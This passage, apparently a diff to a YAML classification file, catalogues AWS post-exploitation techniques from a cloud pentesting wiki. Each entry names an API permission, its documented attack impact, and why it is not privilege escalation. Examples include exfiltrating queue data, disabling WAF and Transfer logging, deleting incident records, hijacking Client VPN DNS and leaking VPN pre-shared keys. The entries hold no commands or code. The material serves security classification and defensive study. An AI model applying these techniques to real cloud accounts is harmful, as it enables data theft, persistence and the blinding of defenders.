come from AWS/SES. This section does not establish another + AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md#sesputidentitypolicy--sesv2putemailidentitypolicy--cross-account-sending-authorization-backdoor + technique: '`ses:PutIdentityPolicy` / `sesv2:PutEmailIdentityPolicy` — cross-account sending-authorization backdoor' + reason: 'Documented impact: Persistent cross-account ability to send email as the victim''s verified domain (passing + SPF/DKIM/DMARC) — high-fidelity phishing/BEC and brand impersonation that outlives the attacker''s original + access and burns the victim''s... This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-simpledb-post-exploitation/README.md#sdbstartdomainexport--export-a-complete-domain-to-s3 + technique: '`sdb:StartDomainExport` — export a complete domain to S3' + reason: The section documents the resource or service effect of `sdb:StartDomainExport` — export a complete domain + to S3, without a reusable AWS principal credential or arbitrary execution under another role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-snow-device-management-post-exploitation/README.md#snow-device-managementcreatetask--remotely-unlock-or-reboot-managed-snowball-edge-devices + technique: '`snow-device-management:CreateTask` — remotely unlock or reboot managed Snowball Edge devices' + reason: 'Documented impact: Unlock removes the device''s at-rest operational lock and can enable a local-network/physical + attacker to reach already configured local services; any data or compute compromise still depends on the separate + local credentials,... This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-snowball-post-exploitation/README.md#snowballgetjobmanifest--getjobunlockcode--recover-the-two-device-unlock-credentials + technique: '`snowball:GetJobManifest` + `GetJobUnlockCode` — recover the two device-unlock credentials' + reason: 'Documented impact: Unlock the matching physical appliance without obtaining its manifest/code from the + intended operator, then use the device''s normal local access workflow. This section does not establish another + AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-snowball-post-exploitation/README.md#snowballupdatelongtermpricing--re-enable-a-prepaid-contract-renewal + technique: '`snowball:UpdateLongTermPricing` — re-enable a prepaid contract renewal' + reason: 'Documented impact: Commit the account to another prepaid Snowball period if defenders do not revert the + flag or retire the device before expiry. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-snowball-post-exploitation/README.md#snowballcanceljob--cancel-a-newly-created-device-workflow + technique: '`snowball:CancelJob` — cancel a newly created device workflow' + reason: 'Documented impact: Abort a planned physical data migration, export or edge-compute deployment before + preparation, forcing operators to recreate the job and potentially delaying a workflow that can take weeks to + provision. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md#snspublish + technique: '`sns:Publish`' + reason: 'Documented impact: Injection of attacker-controlled messages into downstream subscribers, potentially + triggering their fixed business actions, corrupting data, or consuming delivery/compute capacity. This section + does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md#snssetsmsattributes--account-wide-sms-tampering + technique: '`sns:SetSMSAttributes` — account-wide SMS tampering' + reason: 'Documented impact: Account-wide degradation of default-class SMS delivery (including OTP/MFA flows that + do not set a per-message type) and convincing sender-name spoofing on supported routes. This section does not + establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md#snssettopicattributes--alter-delivery-and-encryption-settings + technique: '`sns:SetTopicAttributes` — alter delivery and encryption settings' + reason: The section documents the resource or service effect of `sns:SetTopicAttributes` — alter delivery and + encryption settings, without a reusable AWS principal credential or arbitrary execution under another role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md#snstagresource--snsuntagresource + technique: '`sns:TagResource` , `sns:UntagResource`' + reason: 'Documented impact: Corrupts cost/ownership inventory and can satisfy or defeat tag-based authorization/automation + conditions when those controls are designed to trust mutable resource tags. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md#snsunsubscribe--remove-a-subscriber + technique: '`sns:Unsubscribe` — remove a subscriber' + reason: The section documents the resource or service effect of `sns:Unsubscribe` — remove a subscriber, without + a reusable AWS principal credential or arbitrary execution under another role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md#snsremovepermission--revoke-a-topic-policy-grant + technique: '`sns:RemovePermission` — revoke a topic-policy grant' + reason: This heading concerns removal, disruption or access denial via `sns:RemovePermission` — revoke a topic-policy + grant; it does not grant the caller a different principal. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md#snsdeletetopic + technique: '`sns:DeleteTopic`' + reason: 'Documented impact: Loss of future publication/delivery through the topic and service disruption for publishers + and subscribers. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-subscriber-disclosure-post-exploitation/README.md#snslistsubscriptions-snslistsubscriptionsbytopic--read-subscriber-endpoints + technique: '`sns:ListSubscriptions`, `sns:ListSubscriptionsByTopic` — Read subscriber endpoints' + reason: 'Documented impact: Disclosure of subscriber PII, internal callback endpoints, application topology, and + downstream resource identifiers. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md#sqssendmessage-api-sendmessage-sendmessagebatch + technique: '`sqs:SendMessage` (API: `SendMessage`, `SendMessageBatch`)' + reason: 'Documented impact: Vulnerability exploitation, Data corruption, unintended actions, or resource exhaustion. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md#sqssetqueueattributes--alter-delivery-and-encryption-settings + technique: '`sqs:SetQueueAttributes` — alter delivery and encryption settings' + reason: The section documents the resource or service effect of `sqs:SetQueueAttributes` — alter delivery and + encryption settings, without a reusable AWS principal credential or arbitrary execution under another role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md#sqstagqueue--sqsuntagqueue + technique: '`sqs:TagQueue` , `sqs:UntagQueue`' + reason: 'Documented impact: Disruption of cost allocation, resource tracking, and tag-based access control policies. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md#sqsreceivemessage-sqsdeletemessage-sqschangemessagevisibility + technique: '`sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`' + reason: 'Documented impact: Steal sensitive information, Message loss, data corruption, and service disruption + for applications relying on the affected messages. This section does not establish another AWS principal or + attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md#sqsdeletequeue + technique: '`sqs:DeleteQueue`' + reason: 'Documented impact: Message loss and service disruption for applications using the deleted queue. This + section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md#sqspurgequeue + technique: '`sqs:PurgeQueue`' + reason: 'Documented impact: Message loss and service disruption for applications relying on the purged messages. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md#sqsremovepermission + technique: '`sqs:RemovePermission`' + reason: 'Documented impact: Disruption of normal functioning for applications relying on the queue due to unauthorized + removal of permissions. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md#sqssetqueueattributes--shorten-message-retention + technique: '`sqs:SetQueueAttributes` — shorten message retention' + reason: The section documents the resource or service effect of `sqs:SetQueueAttributes` — shorten message retention, + without a reusable AWS principal credential or arbitrary execution under another role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md#sqssendmessage-on-a-fifo-queue--deduplication-id-suppression + technique: '`sqs:SendMessage` on a FIFO queue — deduplication-ID suppression' + reason: 'Documented impact: Silent destruction of the producer''s messages and substitution of attacker-chosen + content, with only send access to the queue and no failure surfaced to the producer. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md#aws--sqs-dlq-redrive-exfiltration-via-startmessagemovetask + technique: AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask + reason: 'Documented impact: Exfiltrate sensitive payloads accumulated in DLQs (failed events, PII, tokens, application + payloads) at a high rate using native SQS APIs; the service supports a custom movement rate of up to 500 messages + per second. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation/README.md#ssodeletepermissionset + technique: '`sso:DeletePermissionSet`' + reason: 'Documented impact: Organization-wide denial of new AWS-account sessions through that permission set once + deletion succeeds: every user and group that depended on it loses that route to the affected accounts. This + section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation/README.md#ssodeleteaccountassignment + technique: '`sso:DeleteAccountAssignment`' + reason: 'Documented impact: Denial of future access through that exact assignment. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation/README.md#ssoputpermissionsboundarytopermissionset--ssoprovisionpermissionset + technique: '`sso:PutPermissionsBoundaryToPermissionSet` + `sso:ProvisionPermissionSet`' + reason: 'Documented impact: Persistent reduction of the effective permissions of every role produced from the + permission set after successful reprovisioning. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md#statesrevealsecrets + technique: '`states:RevealSecrets`' + reason: 'Documented impact: Disclosure of the EventBridge Connection secrets an HTTP Task attaches to its request + (headers, query string or body) — reusable credentials for the remote service. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md#statesdescribestatemachine--definition-secret-disclosure + technique: '`states:DescribeStateMachine` — definition-secret disclosure' + reason: This heading concerns reading or exporting data via `states:DescribeStateMachine` — definition-secret + disclosure; it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md#read-execution-data-with-describeexecution-and-getexecutionhistory + technique: Read execution data with `DescribeExecution` and `GetExecutionHistory` + reason: 'Documented impact: Disclosure of workflow input, output, per-state data, service parameters and errors + for a known execution — frequently the most sensitive data the account handles. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md#claim-activity-work-with-statesgetactivitytask + technique: Claim activity work with `states:GetActivityTask` + reason: 'Documented impact: Reads queued workflow input and takes a live task token, denying the work item to + the legitimate worker; the token then enables the callback technique below. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md#statesupdatestatemachine-lambdaupdatefunctioncode + technique: '`states:UpdateStateMachine`, `lambda:UpdateFunctionCode`' + reason: The section documents the resource or service effect of `states:UpdateStateMachine`, `lambda:UpdateFunctionCode`, + without a reusable AWS principal credential or arbitrary execution under another role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md#statesredriveexecution--replay-the-failed-path-under-stored-roles + technique: '`states:RedriveExecution` — Replay the failed path under stored roles' + reason: The section documents the resource or service effect of `states:RedriveExecution` — Replay the failed + path under stored roles, without a reusable AWS principal credential or arbitrary execution under another role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md#statestagresource-statesuntagresource + technique: '`states:TagResource`, `states:UntagResource`' + reason: 'Documented impact: Disruption of cost allocation, resource tracking, and tag-based access control policies. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md#statesdeletestatemachine-statesdeletestatemachineversion-statesdeletestatemachinealias + technique: '`states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias`' + reason: 'Documented impact: Disruption of critical workflows, data loss, and operational downtime. This section + does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md#statesupdatemaprun + technique: '`states:UpdateMapRun`' + reason: 'Documented impact: Performance degradation and disruption of critical workflows. This section does not + establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md#statesstopexecution + technique: '`states:StopExecution`' + reason: 'Documented impact: Disruption of ongoing workflows, operational downtime, and potential data corruption. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-storage-gateway-chap-post-exploitation/README.md#storagegatewaydescribechapcredentials--recover-iscsi-mutual-chap-secrets + technique: '`storagegateway:DescribeChapCredentials` — recover iSCSI mutual-CHAP secrets' + reason: This heading concerns reading or exporting data via `storagegateway:DescribeChapCredentials` — recover + iSCSI mutual-CHAP secrets; it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-storage-gateway-post-exploitation/README.md#storagegatewaycreatenfsfileshare--createsmbfileshare--iampassrole--expose-an-s3-bucket-through-a-file-share-and-mount-it + technique: '`storagegateway:CreateNFSFileShare` / `CreateSMBFileShare` (+ `iam:PassRole`) — expose an S3 bucket + through a file share and mount it' + reason: 'Documented impact: Read/write access to the S3 data reachable by the passed role, exposed as a mountable + NFS/SMB share on a gateway the attacker controls — the object access is performed by the gateway using the passed + role, not by the... This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation/README.md#stsgetfederationtoken + technique: '**`sts:GetFederationToken`**' + reason: 'Documented impact: A separate, independently-usable credential set for the calling IAM user''s authority, + valid for up to 36 hours and unaffected by rotating or deleting the original access key. This section does not + establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-systems-manager-incident-manager-post-exploitation/README.md#anti-forensics-destroy-all-incident-manager-data-deletereplicationset + technique: 'Anti-forensics: destroy all Incident Manager data (`DeleteReplicationSet`)' + reason: 'Documented impact: Wholesale destruction of the account''s incident-response history and configuration. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-timestream-post-exploitation/README.md#liveanalytics-query-a-table-with-timestreamselect + technique: 'LiveAnalytics: query a table with `timestream:Select`' + reason: 'Documented impact: Exfiltration of operational telemetry, customer or device identifiers, application + measurements and any secrets or tokens an application improperly stored as dimensions or measures. This section + does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-timestream-post-exploitation/README.md#liveanalytics-export-query-results-to-s3-with-timestreamunload + technique: 'LiveAnalytics: export query results to S3 with `timestream:Unload`' + reason: 'Documented impact: Bulk export of a table or filtered sensitive subset into attacker-readable S3 objects, + including a manifest that identifies every result file. This section does not establish another AWS principal + or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-timestream-post-exploitation/README.md#liveanalytics-invisible-record-injection-upsert-and-version-pinning-with-timestreamwriterecords + technique: 'LiveAnalytics: invisible record injection, upsert and version pinning with `timestream:WriteRecords`' + reason: 'Documented impact: False telemetry, corrupted dashboards and alerts, malicious schema expansion, or an + effectively uncorrectable highest-version value for selected records. This section does not establish another + AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-transfer-family-post-exploitation/README.md#logsfilterlogevents--logsgetlogevents--recover-custom-idp-passwords-from-logs + technique: '`logs:FilterLogEvents` / `logs:GetLogEvents` — recover custom-IdP passwords from logs' + reason: 'Documented impact: steal reusable SFTP/FTP/FTPS passwords from misconfigured custom-IdP logs, enabling + Transfer-user impersonation and compromise of other systems where users reused the credential. This section + does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-transfer-family-post-exploitation/README.md#transfertestidentityprovider--query-a-custom-idp-with-a-chosen-password-and-source-ip + technique: '`transfer:TestIdentityProvider` — query a custom IdP with a chosen password and source IP' + reason: 'Documented impact: validate credentials or identity-provider rules and disclose a custom user''s effective + Transfer role, session policy, home mapping, public keys, and API Gateway IdP URL without server read permissions. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-transfer-family-post-exploitation/README.md#transferupdateserver--disable-both-transfer-server-logging-paths + technique: '`transfer:UpdateServer` — disable both Transfer server logging paths' + reason: 'Documented impact: blind future Transfer Family server telemetry in CloudWatch before using an existing + foothold, reducing visibility into logins, sessions, and file operations across SFTP/FTPS/FTP/AS2. This section + does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-uxc-post-exploitation/README.md#uxcupdateaccountcustomizations--hide-services-and-regions-from-console-navigation + technique: '`uxc:UpdateAccountCustomizations` — hide services and Regions from console navigation' + reason: 'Documented impact: account-wide console navigation manipulation and operator confusion during manual + triage. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpc-lattice-post-exploitation/README.md#vpc-lattice-svcsinvoke--access-an-iam-authenticated-private-service + technique: '`vpc-lattice-svcs:Invoke` — access an IAM-authenticated private service' + reason: 'Documented impact: Read or invoke private application endpoints allowed by the service''s auth policy, + with access bounded by that application''s own authorization and the caller''s network path. This section does + not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpc-lattice-post-exploitation/README.md#vpc-latticecreateaccesslogsubscription--exfiltrate-service-network-request-metadata + technique: '`vpc-lattice:CreateAccessLogSubscription` — exfiltrate service-network request metadata' + reason: 'Documented impact: Continuous disclosure of request metadata for the selected service or service network + to the configured destination, subject to successful log delivery. This section does not establish another AWS + principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpc-lattice-post-exploitation/README.md#vpc-latticecreateservicenetworkvpcassociation--obtain-network-reachability-into-a-service-network + technique: '`vpc-lattice:CreateServiceNetworkVpcAssociation` — obtain network reachability into a service network' + reason: 'Documented impact: Lateral movement / reachability — expose every service in the service network to attacker-controlled + compute, the prerequisite the Invoke data-plane technique otherwise lacks. This section does not establish another + AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md#ec2getvpnconnectiondevicesampleconfiguration--disclose-site-to-site-vpn-pre-shared-keys + technique: '`ec2:GetVpnConnectionDeviceSampleConfiguration` — disclose Site-to-Site VPN pre-shared keys' + reason: 'Documented impact: Discloses both Site-to-Site VPN tunnel PSKs and detailed tunnel/network configuration. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md#ec2modifyvpnconnection--ec2modifyvpntunneloptions--take-over-an-existing-site-to-site-vpn-peer + technique: '`ec2:ModifyVpnConnection` + `ec2:ModifyVpnTunnelOptions` — take over an existing Site-to-Site VPN + peer' + reason: 'Documented impact: Durable takeover of the customer side of an existing Site-to-Site VPN connection. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md#ec2authorizeclientvpningress--broaden-an-authenticated-vpn-clients-network-access + technique: '`ec2:AuthorizeClientVpnIngress` — broaden an authenticated VPN client''s network access' + reason: 'Documented impact: turn an existing limited VPN foothold into private-network access to the authorized + CIDR, enabling service discovery, lateral movement, direct attacks against private endpoints, or data access + as permitted by downstream... This section does not establish another AWS principal or attacker-controlled role + execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md#ec2associateclientvpntargetnetwork--ec2createclientvpnroute--attach-client-vpn-to-a-vpc-and-extend-reachable-networks + technique: '`ec2:AssociateClientVpnTargetNetwork` + `ec2:CreateClientVpnRoute` — attach Client VPN to a VPC and + extend reachable networks' + reason: 'Documented impact: Converts a prepared but unattached Client VPN endpoint into a usable VPC entry point + and creates its full-VPC local route, or extends an already associated endpoint toward a peered VPC, on-premises + network, internet egress, or... This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md#ec2applysecuritygroupstoclientvpntargetnetwork--rebind-client-vpn-to-a-trusted-security-group + technique: '`ec2:ApplySecurityGroupsToClientVpnTargetNetwork` — rebind Client VPN to a trusted security group' + reason: 'Documented impact: Inherits the network trust already granted to the selected SG, potentially turning + an otherwise restricted authenticated Client VPN foothold into access to administrative ports, databases, internal + services, or egress paths... This section does not establish another AWS principal or attacker-controlled role + execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md#ec2modifyclientvpnendpoint--hijack-client-dnsrouting-and-suppress-connection-logs + technique: '`ec2:ModifyClientVpnEndpoint` — hijack client DNS/routing and suppress connection logs' + reason: 'Documented impact: Persistent control of DNS and client route policy for future/reconnected VPN sessions, + enabling DNS-based reconnaissance/redirection and—when the network path is prepared—forced full-tunnel egress + through attacker-observed or... This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-waf-post-exploitation/README.md#wafv2createregexpatternset--wafv2updateregexpatternset-wafv2deleteregexpatternset + technique: '**`wafv2:CreateRegexPatternSet`** , **`wafv2:UpdateRegexPatternSet`**, **`wafv2:DeleteRegexPatternSet`**' + reason: 'Documented impact: Bypass security controls, allowing malicious content and potentially exposing sensitive + data or disrupting services and resources protected by AWS WAF. This section does not establish another AWS + principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-waf-post-exploitation/README.md#wafv2tagresource-wafv2untagresource + technique: '**`wafv2:TagResource`, `wafv2:UntagResource`**' + reason: 'Documented impact: Resource tampering, information leakage, cost manipulation and operational disruption. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-waf-post-exploitation/README.md#wafv2createrulegroup-wafv2updaterulegroup-wafv2deleterulegroup + technique: '**`wafv2:CreateRuleGroup`, `wafv2:UpdateRuleGroup`, `wafv2:DeleteRuleGroup`**' + reason: 'Documented impact: Unauthorized access, data breaches, and potential DoS attacks. This section does not + establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-waf-post-exploitation/README.md#wafv2createwebacl-wafv2updatewebacl-wafv2deletewebacl + technique: '**`wafv2:CreateWebACL`, `wafv2:UpdateWebACL`, `wafv2:DeleteWebACL`**' + reason: 'Documented impact: Unauthorized access, data breaches, and potential DoS attacks. This section does not + establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-waf-post-exploitation/README.md#wafv2associatewebacl-wafv2disassociatewebacl + technique: '**`wafv2:AssociateWebACL`, `wafv2:DisassociateWebACL`**' + reason: 'Documented impact: Removes or replaces WAF filtering for the selected application resource. This section + does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-waf-post-exploitation/README.md#wafv2createipset--wafv2updateipset-wafv2deleteipset + technique: '**`wafv2:CreateIPSet` , `wafv2:UpdateIPSet`, `wafv2:DeleteIPSet`**' + reason: 'Documented impact: Unauthorized access and block of legitimate traffic. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-waf-post-exploitation/README.md#wafv2deleteapikey + technique: '**`wafv2:DeleteAPIKey`**' + reason: 'Documented impact: Disable CAPTCHA protections or disrupt application functionality, leading to security + breaches and potential data theft. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-waf-post-exploitation/README.md#wafv2putloggingconfiguration--iamcreateservicelinkedrole-wafv2deleteloggingconfiguration + technique: '**(`wafv2:PutLoggingConfiguration` & `iam:CreateServiceLinkedRole`), `wafv2:DeleteLoggingConfiguration`**' + reason: 'Documented impact: Obscured visibility into security events can hinder incident response and facilitate + covert malicious activity within AWS WAF-protected environments. This section does not establish another AWS + principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-wickr-post-exploitation/README.md#wickrgetoidcinfo--disclose-the-sso-client-secret + technique: '`wickr:GetOidcInfo` — disclose the SSO client secret' + reason: This heading concerns reading or exporting data via `wickr:GetOidcInfo` — disclose the SSO client secret; + it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-wickr-post-exploitation/README.md#wickrgetopentdfconfig--disclose-the-opentdf-client-secret + technique: '`wickr:GetOpentdfConfig` — disclose the OpenTDF client secret' + reason: This heading concerns reading or exporting data via `wickr:GetOpentdfConfig` — disclose the OpenTDF client + secret; it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-wickr-post-exploitation/README.md#wickrlistusers--recover-an-invited-users-enrollment-code + technique: '`wickr:ListUsers` — recover an invited user''s enrollment code' + reason: This heading concerns reading or exporting data via `wickr:ListUsers` — recover an invited user's enrollment + code; it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-workmail-post-exploitation/README.md#workmailmessageflowgetrawmessagecontent--putrawmessagecontent--steal-or-rewrite-in-transit-email + technique: '`workmailmessageflow:GetRawMessageContent` / `PutRawMessageContent` — steal or rewrite in-transit + email' + reason: 'Documented impact: Theft of email bodies, attachments, credentials, password-reset links and business + data while messages transit WorkMail; or silent integrity attacks such as changing payment instructions, links, + attachments, recipients''... This section does not establish another AWS principal or attacker-controlled role + execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-workspaces-post-exploitation/README.md#workspacesupdateworkspaceimagepermission--share-a-custom-image-with-an-attacker-account + technique: '`workspaces:UpdateWorkspaceImagePermission` — share a custom image with an attacker account' + reason: 'Documented impact: Cross-account exfiltration of a golden WorkSpace image and everything baked into it + (applications, secrets, domain-join credentials, internal data). This section does not establish another AWS + principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-workspaces-post-exploitation/README.md#workspacesmodifysamlproperties--modifycertificatebasedauthproperties--weaken-desktop-authentication + technique: '`workspaces:ModifySamlProperties` / `ModifyCertificateBasedAuthProperties` — weaken desktop authentication' + reason: 'Documented impact: Gain or broaden interactive access to users'' virtual desktops (and the internal network + they sit on) by weakening or repointing WorkSpaces authentication. This section does not establish another AWS + principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-workspaces-thin-client-post-exploitation/README.md#thinclientupdateenvironment---redirect-devices-to-another-desktop-provider-or-idp-endpoint + technique: '`thinclient:UpdateEnvironment` - Redirect devices to another desktop provider or IdP endpoint' + reason: The section documents the resource or service effect of `thinclient:UpdateEnvironment` - Redirect devices + to another desktop provider or IdP endpoint, without a reusable AWS principal credential or arbitrary execution + under another role. + source_revision: a66f094ede +- source: 